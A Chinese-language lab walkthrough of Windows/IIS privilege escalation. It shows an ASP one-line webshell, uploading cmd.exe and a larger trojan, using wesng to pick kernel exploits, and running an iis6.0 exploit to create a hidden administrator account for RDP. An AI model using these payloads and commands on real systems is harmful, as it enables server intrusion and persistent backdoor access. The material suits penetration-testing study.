文章目录
- 为什么需要提权
- Windows提权的常见方法
- Windows系统常见命令
- 内核溢出漏洞提权
- IIS权限
- 拿shell
- 提权过程
- 信息收集
- 提权
- apsx提权
为什么需要提权
读取/写入敏感文件
重新启动之后权限维持
插入永久后门
Windows提权的常见方法
1.内核漏洞
2.错误的服务权限配置
3.DLL注入
4.始终以高权限安装程序
5.凭证存储
Windows系统常见命令
ipconfig /all 查询网络配置
dir 列出当前目录下的文件以及文件夹
whoami 显示当前用户
cd /d d: 进入d盘
md test 创建名为test的文件夹
copy nul 1.txt 创建空文件
type 1.txt 查看文件内容
del 1.txt 删除文件
del /f test 删除 test 文件夹下的所有文件
copy 1.txt d:\doc 将1.txt复制到 d:\doc 下
net user 查看所有用户
net user test 查看test用户信息
net user test password /add 添加用户
net user test /delete 删除 test 用户
net user test newPassword 重置 test 用户密码
tasklist 显示当前的进程信息
taskkill /im notedpad.exe 结束名为 notepad 的进程
taskkill /pid 1234 /t 结束pid为1234的进程以及其子进程
taskkill /f /im notepad.exe /t 强制结束名为 notepad 的进程及其子进程
wmic process where Caption="notepad.exe" get commandline,executablepath,processid /value 获取进程名为 notepad.exe 的命令行,exe 全路径,pid 号
netstat -ano 查看开启的端口连接情况
findstr /i "hello" 1.txt 忽略大小写在 1.txt 中寻找 hello 字符串
sc delete 服务名 删除服务
systeminfo 查看操作系统等版本信息
netstat -ano 查看端口列表
set 环境变量
内核溢出漏洞提权
在渗透测试过程中,经常遇到的windows服务器包括winserver2003、winserver2008、winserver2012
一般获取的是 iis_user 用户组权限
IIS权限
aspx > php => asp
apsx 默认可以执行终端命令,PHP 和 asp 在组件没有删除的情况下,可以上传 cmd 到可执行目录,执行命令
执行命令的组件:wscript.shell
拿shell
靶机是一个asp站点,存在文件上传
Bypass文件上传,上传asp一句话木马(和php一句话利用方式相同)
<%eval request ("pass")%>
使用蚁剑直接连接就好了
可以登录但是发现执行命令提示拒绝访问
可能的两种情况:
- cmd权限不足,没有命令执行权限,需要自己上传一个cmd.exe,注意windows server不能使用win10的cmd,需要对应版本
- 可能启用了安全模式(但是这里没有提示,那就应该是第一种)
解决方法:
-
重新设置一下cmd路径:如setp:C:\inetpub\wwwroot\cmd.exe(可能不行)
-
上传一个大马(或者上线 cs)寻找可读写目录,重新上传一个cmd(版本需要匹配)
上线cs方法(目前暂时使用大马的方式比较简单)
第一个方法不行,使用第二个方法-小马拉大马,传一个大马上去(咳咳,不要以为是靶机就直接仍上去一个大马,权限有问题)
发现支持wscript.shell组件,传上去一个cmd.exe(注意版本),到recyrler目录(一般这个目录都是可读写的)
在IIS中默认上传大小是200k,大于会报错,但是实际情况中不需要担心这个问题(靶机中如果手动上传后无法使用,要添加web用户权限)
再次执行命令whoami发现执行成功
提权过程
- 确保webshell中可以执行终端命令并收集信息
- 上传溢出 exp
- 执行命令
信息收集
systeminfo命令收集信息
检查Windows提权辅助工具,wesng主要帮助检测Windows安全缺陷,是Windows Exploit Suggesters的升级版,通过读取加载systeminfo命令的结果来输出漏洞利用建议
或者这个网站也可:https://i.hacking8.com/tiquan/,将补丁号输入,查询可利用的 windows 提权
介绍一下wesng的用法
-
将wesng下载到本地主机上,先升级最新的漏洞数据库
python wes.py --update
-
将目标机器的systeminfo命令的结果输出并保存,使用wesng进行检查
python .\wes.py -m .\systeminfo.txt
-
使用漏洞库 https://www.exploit-db.com/ 找payload,上传至靶机中提取
提权
既然已经有poc了,提权就很easy了
上传iis6.0通用提权程序,拿到system权限
使用命令增加用户
C:\RECYCLER\iis6.0.exe "net user ocean ocean /add & net localgroup administrators ocean /add"
命令作用是:创建密码为ocean的ocean用户,并添加到管理员用户组
使用账号密码登录RDP
net user ocean
apsx提权
以上是asp程序的iis提权,apsx程序会比asp的权限高,默认是可以执行cmd命令的,如果在asp不能执行命令时,而网站支持aspx,则可以上传apsx木马进行提权
提权思路是一样的,就是不需要上传cmd.exe了,可以直接上传iis6.0.exe进行提权
参考文章:
http://wjlshare.com/archives/1566
https://cloud.tencent.com/developer/article/1667632
https://www.freebuf.com/articles/system/263139.html